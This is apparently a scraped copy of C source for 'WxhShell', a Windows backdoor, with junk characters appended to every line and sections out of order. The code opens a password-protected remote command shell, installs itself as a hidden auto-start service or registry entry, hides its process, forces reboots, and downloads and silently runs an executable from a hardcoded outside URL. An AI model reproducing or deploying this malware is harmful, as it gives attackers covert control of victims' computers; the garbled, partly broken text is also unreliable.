    if(Boot(SHUTDOWN)) ?d`j}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8<PQ31  
    else { 2g$;ZBHO|8  
    closesocket(wsh); xy+hrbD)j  
    ExitThread(0); Uj twOv|pF  
    } dr^MW?{a\  
    break; y!/:1BHlm  
    } yyc4'j+  
  // 获取shell e1Bqd+  
  case 's': { qTI_'q  
    CmdShell(wsh); ^\7GFpc  
    closesocket(wsh); Mc /= Fs  
    ExitThread(0); 2|$G<f  
    break; !<= ^&\A  
  } @ GXi{9  
  // 退出 ujh`&GiB+  
  case 'x': { Hl=M{)q@   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q(/F7 "m  
    CloseIt(wsh); 3.w &e0Es  
    break; |G(I,EPag  
    } A O3MlK9t  
  // 离开 A+ LX37B  
  case 'q': { "HtaJVp//  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1R"Z+tNB  
    closesocket(wsh); Ug8>|wCE  
    WSACleanup(); x bD]EC  
    exit(1); hGb SN_F  
    break; R/jHH{T3  
        } "GB493=v  
  } gp NAM"  
  } %,f(jQfg_  
mO&zE;/[  
  // 提示信息 gb}>xO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d/lV+yZ  
} Ti&v9re%wO  
  } ?6//'bO:%  
KEo?Cy?%ff  
  return; @waY+sqt=  
} 7.bPPr&  
Zb$P`~(%  
// shell模块句柄 sZI$t L<j  
int CmdShell(SOCKET sock) rT';7>{g  
{ 8K2=WYN  
STARTUPINFO si; qKk|2ecTB5  
ZeroMemory(&si,sizeof(si)); "=!sZO?3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q z8Jvgu?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }Apn.DYbbf  
PROCESS_INFORMATION ProcessInfo; r=S,/N(1  
char cmdline[]="cmd"; 30{WGc@l#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qqSFy>`P  
  return 0; -YY@[5x?u  
}  I}u&iV`  
USzO):o  
// 自身启动模式 d$:LUxM#  
int StartFromService(void) Zx)gLDd  
{ gm =LM=  
typedef struct vfdTGM`3  
{ \nU_UH  
  DWORD ExitStatus; Ww=b{lUD  
  DWORD PebBaseAddress; |"YE_aYu  
  DWORD AffinityMask; 8dwKJ3*.  
  DWORD BasePriority; $^`@lyr  
  ULONG UniqueProcessId; .zsY VtK  
  ULONG InheritedFromUniqueProcessId; WkDXWv\{,{  
}   PROCESS_BASIC_INFORMATION; Fil6;R  
#3_ @aq*  
PROCNTQSIP NtQueryInformationProcess; F h+g@ u6  
:ka^ ztXG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SLda>I(p7&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^/~C\ (  
e*M-y C  
  HANDLE             hProcess; aUq 2$lw1  
  PROCESS_BASIC_INFORMATION pbi; +P<#6<gR  
a?@lX>Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t]E@AJO K  
  if(NULL == hInst ) return 0; {43 J'WsJ  
VcLzv{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +h8`8k'}-2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;cGY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #wp~lW9!s9  
D+y?KihE  
  if (!NtQueryInformationProcess) return 0; J@+b_e*  
DA>TT~L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [F 24xC+  
  if(!hProcess) return 0; g0#w 4rGF)  
v(zfq'^%`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; * 'Bu-1{  
.0p'G}1  
  CloseHandle(hProcess); lYS*{i1^ '  
sQn@:Gk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o8~<t]Ejw  
if(hProcess==NULL) return 0; $E}N`B7  
6eb~Z6n&?  
HMODULE hMod; CW -[c  
char procName[255]; 0<+eN8od.  
unsigned long cbNeeded; hGRHuJ  
q4Mv2SPT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I8Y #l'z  
]q/USVj{  
  CloseHandle(hProcess); D9!$H!T _  
~ 1~|/WG  
if(strstr(procName,"services")) return 1; // 以服务启动 %DM0Z8P$B-  
Z9eP(ip  
  return 0; // 注册表启动 1Cw HGO  
} xqfIm%9i}  
*Tr9pq%m  
// 主模块 B +MnT{  
int StartWxhshell(LPSTR lpCmdLine) .-)kIFMi  
{ Y|buQQ|  
  SOCKET wsl; <`WcI`IA b  
BOOL val=TRUE; u:H:N]  
  int port=0; ?in)kL  
  struct sockaddr_in door; 0~ o,^AW  
@@cc /S  
  if(wscfg.ws_autoins) Install(); }b]eiPWN  
nd&i9l  
port=atoi(lpCmdLine); ] !n3j=*   
R?M>uaxn  
if(port<=0) port=wscfg.ws_port; L_o/fTz4  
l#Vg=zrT  
  WSADATA data; -q\Rbb5M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^I) +u>fJ  
^0-e.@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )y{:Uc\4!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NryOdt tI  
  door.sin_family = AF_INET; rU6A^p\,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FIUQQQ\3  
  door.sin_port = htons(port); zbgGK7  
sKk+^.K}|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rQosI:$  
closesocket(wsl); 1iqgVby  
return 1; Jhfw$DF  
} E6z&pM8<8  
@9R78Zra  
  if(listen(wsl,2) == INVALID_SOCKET) { $9@AwS@Uu  
closesocket(wsl); MBAj.J  
return 1; dsH*9t:z  
} TFAR>8Nm  
  Wxhshell(wsl); hzT)5'_  
  WSACleanup(); F@mxd  
L|B! ]}  
return 0; Mmg~Fn  
i[:cG  
}  tq?a3  
8H|ac[hXK2  
// 以NT服务方式启动 `YqXF=-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nLCaik_,m  
{ UmY{2 nzY  
DWORD   status = 0; `F3wO!  
  DWORD   specificError = 0xfffffff; E^$8nqCL:  
I?^(j;QpS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ubgn^+AI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7D1$cmtH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3_`)QYU'  
  serviceStatus.dwWin32ExitCode     = 0; .(3ec/i4CF  
  serviceStatus.dwServiceSpecificExitCode = 0; 4c[/%e:\-  
  serviceStatus.dwCheckPoint       = 0; pRd'\+  
  serviceStatus.dwWaitHint       = 0; vPc*x5w-  
E^Q J50  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Io[NN aF|  
  if (hServiceStatusHandle==0) return; \BN$WV  
)@P*F) g~  
status = GetLastError(); C|h Uyo  
  if (status!=NO_ERROR) ]"~ x  
{ `WnsM; 1Y"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tY: Nq*@  
    serviceStatus.dwCheckPoint       = 0; y#th&YC_b  
    serviceStatus.dwWaitHint       = 0; BC\W`K  
    serviceStatus.dwWin32ExitCode     = status; H:XPl$;  
    serviceStatus.dwServiceSpecificExitCode = specificError; [YZgQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '.M4yif \g  
    return; `oH4"9&]k3  
  } ;<_a ,5\Q  
)(_NFpM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -e_o p'`  
  serviceStatus.dwCheckPoint       = 0; o OC&w0  
  serviceStatus.dwWaitHint       = 0; o8|qT)O@U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xVgm 9s$"c  
} Y}: 4y$<  
,aa 4Kh  
// 处理NT服务事件,比如:启动、停止 ;8dffsyq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?c+$9  
{ *8po0s  
switch(fdwControl) <i]0EE}%  
{ s]|tKQGl,  
case SERVICE_CONTROL_STOP: VBw 5[  
  serviceStatus.dwWin32ExitCode = 0; 841y"@*BY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _>rM[\|X  
  serviceStatus.dwCheckPoint   = 0; j/fniyJ)  
  serviceStatus.dwWaitHint     = 0; 9 M%Gnz  
  { G]N3OIw&8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g6;smtu_T  
  } O5Z9`_9<  
  return; N-_APWA  
case SERVICE_CONTROL_PAUSE: K&Bbjb_|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Em^~OM3U$q  
  break; EmR82^_:  
case SERVICE_CONTROL_CONTINUE: d~QM@<SV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t$wbwP  
  break; r-TrA$k  
case SERVICE_CONTROL_INTERROGATE: dR;N3KwY  
  break; #o7)eKeQ  
}; cjJfxD&q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `GdH ,:S>  
} {Dk!<w I)  
d;]m wLB0  
// 标准应用程序主函数 ;{L[1OP%e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `:*2TLxIk  
{ 4(LLRzzW  
dH PvVe/  
// 获取操作系统版本 nc\`y,>l8  
OsIsNt=GetOsVer(); oBo*<6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {it}\[3  
tx~,7TMS/  
  // 从命令行安装 BV:Ca34&  
  if(strpbrk(lpCmdLine,"iI")) Install(); y<6c*e1  
cv-rEHT  
  // 下载执行文件 VsAJ2g9L  
if(wscfg.ws_downexe) { d&raHF*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "YY<T&n  
  WinExec(wscfg.ws_filenam,SW_HIDE); v_Sa0}K9  
} 6]~/`6Dub  
\Ta5c31S+  
if(!OsIsNt) { ZTV)D  
// 如果时win9x,隐藏进程并且设置为注册表启动 t!*[nfR  
HideProc(); 1n[)({OQ  
StartWxhshell(lpCmdLine); lnHY?y7{  
} peBHZJ``RX  
else #qY gQ<TM!  
  if(StartFromService()) ,]7ouH$H}  
  // 以服务方式启动 HI 1T  
  StartServiceCtrlDispatcher(DispatchTable); 7Q9Hk(Z9  
else ]oVP_ &E  
  // 普通方式启动 #}+H  
  StartWxhshell(lpCmdLine); +pwTM]bV  
" nCK%w=  
return 0; 5WJ ~%"O  
} #Iv KI+"  
GdI,&| /  
ye9GBAj /  
R20 .dA_N  
=========================================== 7@\.()  
xb3G,F  
_ia&|#n  
`G1"&q,i  
8wvHg_U6W  
5L[imOM0  
" RQ =$, i`  
gv>DOez/  
#include <stdio.h> jVd`J  
#include <string.h> 2Ax"X12{6  
#include <windows.h> g:ky;-G8b  
#include <winsock2.h> I3Z?xsa@Z  
#include <winsvc.h> 5z,q~CU  
#include <urlmon.h> r9WR1&T)  
\-pwA j?  
#pragma comment (lib, "Ws2_32.lib") i/+^C($'f  
#pragma comment (lib, "urlmon.lib") :ig=zETM  
[|oG}'Xz  
#define MAX_USER   100 // 最大客户端连接数 1C{0 R.  
#define BUF_SOCK   200 // sock buffer q"<=^vi  
#define KEY_BUFF   255 // 输入 buffer Ja:4EU$Lu  
QUn!& 55  
#define REBOOT     0   // 重启 \tYImh  
#define SHUTDOWN   1   // 关机 EQ,`6UT>  
 Y4 z  
#define DEF_PORT   5000 // 监听端口 qsW&kW~  
 ~d eS*  
#define REG_LEN     16   // 注册表键长度 pI-Qq%Nwt  
#define SVC_LEN     80   // NT服务名长度 U1y!R<qlp  
v1~l=^4&  
// 从dll定义API W ,6q1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iv_3R}IbX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e}yF2|0FD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (0q`eO2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DSqA}r  
NMK$$0U  
// wxhshell配置信息 :JG5)H}j+  
struct WSCFG { \ YF@r7  
  int ws_port;         // 监听端口 4;J.$  
  char ws_passstr[REG_LEN]; // 口令 = K}Pfh  
  int ws_autoins;       // 安装标记, 1=yes 0=no PL&> p M  
  char ws_regname[REG_LEN]; // 注册表键名 pJ}U'*Z2  
  char ws_svcname[REG_LEN]; // 服务名 l+F29_o#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yZ,pH1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W7WHDL^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \99'#]\_/E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kE'p=dXx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8QJr!#u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h<3b+*wYJC  
Nm z5:Rq  
}; 2~f*o^%l  
KPO w  
// default Wxhshell configuration /kG?I_z  
struct WSCFG wscfg={DEF_PORT, 'yX\y 6I  
    "xuhuanlingzhe", ; X+tCkzF  
    1, e8> X5  
    "Wxhshell", /!5ohQlPJ  
    "Wxhshell", PWl;pBo  
            "WxhShell Service", y4jiOhF<d  
    "Wrsky Windows CmdShell Service", 0vfMJzk  
    "Please Input Your Password: ", W`9{RZ'  
  1, vw!7f|Pg ~  
  "http://www.wrsky.com/wxhshell.exe", $7Hwu^c(  
  "Wxhshell.exe" ##Pzc~xSn  
    }; #M!$CGi (  
2QbKh)   
// 消息定义模块 w:%NEa,Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fDns r" T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {l$)X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A4@z+ebb l  
char *msg_ws_ext="\n\rExit."; J&~I4ko]  
char *msg_ws_end="\n\rQuit."; yJC: bD1xi  
char *msg_ws_boot="\n\rReboot..."; a. D cmy{  
char *msg_ws_poff="\n\rShutdown..."; W?zj^y[w  
char *msg_ws_down="\n\rSave to "; ZrEou}z(*  
N\ Mdia  
char *msg_ws_err="\n\rErr!"; 4h!yh2c..  
char *msg_ws_ok="\n\rOK!"; Z72%Bv  
}w35fG^  
char ExeFile[MAX_PATH]; _@XueNU1hS  
int nUser = 0; )?SFIQ=  
HANDLE handles[MAX_USER]; *(yw6(9%  
int OsIsNt; jW8ad{  
\[{8E}_"^  
SERVICE_STATUS       serviceStatus; ;} Lf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >g!$H}\  
=p[Sd*d  
// 函数声明 %IVM1  
int Install(void); Zc_F"KJL  
int Uninstall(void); ;q9Y%*  
int DownloadFile(char *sURL, SOCKET wsh); {= &&J@:  
int Boot(int flag); | ;a$ l(~<  
void HideProc(void); U9`Co&Z2  
int GetOsVer(void); 4uO88[=  
int Wxhshell(SOCKET wsl); v2]N5  
void TalkWithClient(void *cs); /1/'zF&R-  
int CmdShell(SOCKET sock); G2wSd'n*y  
int StartFromService(void); wS|k3^OV%  
int StartWxhshell(LPSTR lpCmdLine); ],!}&#|  
RjUrpS[I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); THOYx :Nr;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hfj.8$   
.R` _"7  
// 数据结构和表定义 /PaS <"<P@  
SERVICE_TABLE_ENTRY DispatchTable[] = Z:h'kgG&  
{ sqhIKw@  
{wscfg.ws_svcname, NTServiceMain}, 63\ CE_p  
{NULL, NULL} j-J/yhWO&  
}; ]lGkZyU hI  
zwQ#Yvd  
// 自我安装 U+B{\38  
int Install(void) 30I-E ._F  
{ qm_r~j  
  char svExeFile[MAX_PATH]; zp9lu B  
  HKEY key;  rwSR  
  strcpy(svExeFile,ExeFile); P*;[&Nn4  
9wfE^E1  
// 如果是win9x系统,修改注册表设为自启动 &k*oG: J3  
if(!OsIsNt) { ImB5F'HI$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Es}`S Ie/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H'$H@Kn]-  
  RegCloseKey(key); A?n5;mvq#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bydI+pVMo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q1kM 4Up  
  RegCloseKey(key); T"H"m4{'  
  return 0; "\+\,C  
    } X*7VDt=  
  } ,tZL"  
} EY)?hJS,  
else { wU'+4N".  
J=kf KQV  
// 如果是NT以上系统,安装为系统服务 'e<8j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FU*q9s`  
if (schSCManager!=0) 45-x$o  
{ (0y!{ (a  
  SC_HANDLE schService = CreateService UnVa`@P^:G  
  ( ib> ~3s;  
  schSCManager, TEer>gD:v  
  wscfg.ws_svcname, Ed0}$ b  
  wscfg.ws_svcdisp, nZYO}bv\  
  SERVICE_ALL_ACCESS, Lf<urIF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j)ln"u0R^B  
  SERVICE_AUTO_START, y~OP9Tg  
  SERVICE_ERROR_NORMAL, )J yB  
  svExeFile, LrdED[Z  
  NULL, @v&P;=lU  
  NULL, 5sEk rT '  
  NULL, 2V; Dn$q  
  NULL, Z-}A "n  
  NULL Vy/G-IASb  
  ); 7nxH>.,Q>  
  if (schService!=0) -e"kJd&V  
  { _I,GH{lhI  
  CloseServiceHandle(schService); ^XYK }J  
  CloseServiceHandle(schSCManager); WCqa[=v)t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _ A{F2M  
  strcat(svExeFile,wscfg.ws_svcname); b$ 8R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fWIWRsy%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -+2A@kmEJ  
  RegCloseKey(key); b ~]v'|5[  
  return 0; V4Qy^nn1  
    } "85)2*+  
  } M.qv'zV`xG  
  CloseServiceHandle(schSCManager); 1n6%EC|X  
} Z{ 9Io/  
} hfc~HKLC  
=?]S8cth  
return 1; ][//G|9  
} O\=Zo9(NHF  
1x##b [LC  
// 自我卸载 /Wl8Jf7'  
int Uninstall(void) OM7AK B=S  
{ fV6ddh  
  HKEY key; 'F/uD 1;  
N3KI6p6\  
if(!OsIsNt) { hhU\$'0B-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5}5oj37x  
  RegDeleteValue(key,wscfg.ws_regname); HHgv, bC!  
  RegCloseKey(key); 23ho uS   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .*+jD^Gr  
  RegDeleteValue(key,wscfg.ws_regname); T~ XKV`LQ  
  RegCloseKey(key); mL#$8wUdt{  
  return 0; <dXeP/1w`  
  } !"E/6z2&(k  
} ;>5]KNj  
} Dequ'  
else { z.h;}QRJ,@  
\j.l1O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5w~J"P6jg  
if (schSCManager!=0) c;a<nTLn  
{ V4n;N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ne3YhCC>  
  if (schService!=0) tK#/S+l  
  { .Tw:Y,G  
  if(DeleteService(schService)!=0) { V`c,U7[/  
  CloseServiceHandle(schService); Ut/%+r"s  
  CloseServiceHandle(schSCManager); Tgla_sMb  
  return 0; M U '-  
  } ,@M<O!%Cs  
  CloseServiceHandle(schService);  Bw+ ?MdS  
  } :7Uv)@iUk  
  CloseServiceHandle(schSCManager); rY@9nQ\>g  
} {+5Ud#\y  
} Q_0_6,Opb  
G%!i="/9  
return 1; {}RU'<D  
} R7h3O0@!  
/74h+.amg  
// 从指定url下载文件 ru1^. (W2  
int DownloadFile(char *sURL, SOCKET wsh) #_IuB) qy  
{ { +Wknm%  
  HRESULT hr; oxI?7dy5  
char seps[]= "/"; ]vV)$xMX  
char *token; Q$k#q<+0  
char *file; B o%Sl  
char myURL[MAX_PATH]; SY@;u<Pd   
char myFILE[MAX_PATH]; JIYzk]Tj  
68<W6z  
strcpy(myURL,sURL); 7.)_H   
  token=strtok(myURL,seps); 3'0Jn6(  
  while(token!=NULL) tef>Py  
  { !4Sd^"  
    file=token; zITxJx  
  token=strtok(NULL,seps); FKhgUnw  
  } @FF{lK?[  
LZ&I<ID`-  
GetCurrentDirectory(MAX_PATH,myFILE); udc9KuR@  
strcat(myFILE, "\\"); QOPh3+.5  
strcat(myFILE, file); SL+n y(y  
  send(wsh,myFILE,strlen(myFILE),0); eQ6wEeB9  
send(wsh,"...",3,0); X Vo+ <&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YuJ{@"H  
  if(hr==S_OK) .*W7Z8!e  
return 0; Cy5iEI#  
else { utnbtmu  
return 1; c7WOcy@M  
,":_CY4(  
} ,I]]52+?4  
tqpi{e  
// 系统电源模块 0G Q8} r  
int Boot(int flag) Z0XQ|gkH  
{ <y7Hy&&y-  
  HANDLE hToken; nKEw$~F  
  TOKEN_PRIVILEGES tkp; w?M"`O(  
9q[[ ,R  
  if(OsIsNt) { B| M@o^Tf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pu ?CO A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }w >UNGUMh  
    tkp.PrivilegeCount = 1; l0ZK)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L`9.Gf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &t!f dti  
if(flag==REBOOT) { tuY= )?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9JILK9mVO  
  return 0; DFRgn  
} id`RscV]  
else { >f1fvv6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y~M 6  
  return 0; +Ll29Buyi  
} "WbKhE  
  } 'L{pS-+6  
  else { ^R(=4%8%"  
if(flag==REBOOT) { $?[pcgv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )U]q{0`  
  return 0; PTXS8e4  
} _,e4?grP#  
else { Z}SqiT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o,0 Z^"|  
  return 0; _oefp*iWS  
}  s%5XBI  
} } ,Dk6w$  
iex]J@=e  
return 1; -?IF'5z  
} ``{GU}n  
#P!M"_z  
// win9x进程隐藏模块 xsS;<uCD  
void HideProc(void) {aK3'-7  
{ )}_}D +2  
Bw[#,_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zQ u9LN  
  if ( hKernel != NULL ) ;Cty"H,  
  { {CTJX2&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^bdXzjf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6Tm7|2R  
    FreeLibrary(hKernel); )?LZg<<   
  } wCj)@3F  
hwi_=-SL  
return; Nm%#rZrN~Q  
} Uw3wR!:  
8&qtF.i-6  
// 获取操作系统版本 *Z2Ko5&Y2  
int GetOsVer(void) Z,~@_;F  
{ M@*Y&(~  
  OSVERSIONINFO winfo; z|(<Co8#.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QXy= |  
  GetVersionEx(&winfo); ~9;udBfwF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]<Q&  
  return 1; fy&u[Jd{  
  else L[`8 :}M  
  return 0; Q;nC #cg  
} 3+iryW(\  
K(TejW#  
// 客户端句柄模块 P1$D[aF9$  
int Wxhshell(SOCKET wsl) dAM]ZR<  
{ Ahr  
  SOCKET wsh; h b}QtQ  
  struct sockaddr_in client; zq3f@xOK  
  DWORD myID; pXA |'U5]  
$uRi/%Q9  
  while(nUser<MAX_USER) 0&tr3!h\  
{ yDRi  
  int nSize=sizeof(client); OcC|7s" ,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u6MU @?  
  if(wsh==INVALID_SOCKET) return 1; N!-P2)@  
n(SeJk%>9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m6gMVon  
if(handles[nUser]==0) r{Mn{1:O  
  closesocket(wsh); s<3M_mt  
else q; C6ID`  
  nUser++; GsiKL4|mj  
  } h1f 05  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E!L_"GW  
J 5xZL v  
  return 0; <P]%{msGH  
} O+[s4]  
::cI4D  
// 关闭 socket L{&Yh|}  
void CloseIt(SOCKET wsh) >>8{N)c5E  
{ Tv~Ho&LS  
closesocket(wsh); ^D ;EbR  
nUser--; g{K \  
ExitThread(0); m)r,  
}  &!wtH  
@V^5_K  
// 客户端请求句柄 2a 7"~z~  
void TalkWithClient(void *cs) /^X)>1)j  
{ -%V~ 1  
,;<M+V3+  
  SOCKET wsh=(SOCKET)cs; W"A3$/nq^  
  char pwd[SVC_LEN]; 6X4r2Vq  
  char cmd[KEY_BUFF]; BD]o+96qP  
char chr[1]; Ip *8R]W  
int i,j; Ev3,p`zS._  
7m:TY>{  
  while (nUser < MAX_USER) { 4jjo%N  
}I18|=TB  
if(wscfg.ws_passstr) { =&DuQvN,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sJ5#T iX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J?hs\nA  
  //ZeroMemory(pwd,KEY_BUFF); -q&,7'V  
      i=0; s E;2;2u"  
  while(i<SVC_LEN) { ]AN%#1++U  
wb##|XyK<c  
  // 设置超时 d-8{}Q  
  fd_set FdRead; E #!.;AQ  
  struct timeval TimeOut; 7=qvu&{  
  FD_ZERO(&FdRead); 10N0?K"  
  FD_SET(wsh,&FdRead); O&VA79\UO  
  TimeOut.tv_sec=8; {Wfwf  
  TimeOut.tv_usec=0; '#Do( U'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J\ J3 'u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z$M-UxY  
9eR";Wm])  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'rVB2 `z-  
  pwd=chr[0]; )XoMOz  
  if(chr[0]==0xd || chr[0]==0xa) { k3]qpWKj  
  pwd=0; q &S@\b  
  break; O2U}jHsd  
  } kX)*:~*  
  i++; 0+.<BOcW5  
    } Q~KzcB<  
} na@gn  
  // 如果是非法用户,关闭 socket _c(h{dn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %:OX^ ^i;  
} _'n]rQ'  
9XUk.Nek  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~c*kS E2X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T#vY(d  
Rv.IHSQUo  
while(1) { #wkSru&LS  
ZQ'|B  
  ZeroMemory(cmd,KEY_BUFF); Cj/!m  
Mf7 [@#$  
      // 自动支持客户端 telnet标准   c}H}fyu%n  
  j=0; QC6QqcOX  
  while(j<KEY_BUFF) { BQs\!~Ux2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !"'6$"U\K  
  cmd[j]=chr[0]; t oM+Bd:Y  
  if(chr[0]==0xa || chr[0]==0xd) { ",aEN=+|hV  
  cmd[j]=0; SQ'%a-Mct  
  break; rMw$T=Oi  
  } k"m+i  
  j++; t%@u)bp  
    } vZ^U]h V  
7 ;2>kgf~  
  // 下载文件 a :cfr*IsK  
  if(strstr(cmd,"http://")) { YtXd>@7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,?+uQXfXR  
  if(DownloadFile(cmd,wsh)) +I}!)$/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ][XCpJ)8  
  else 5@pLGMHT  
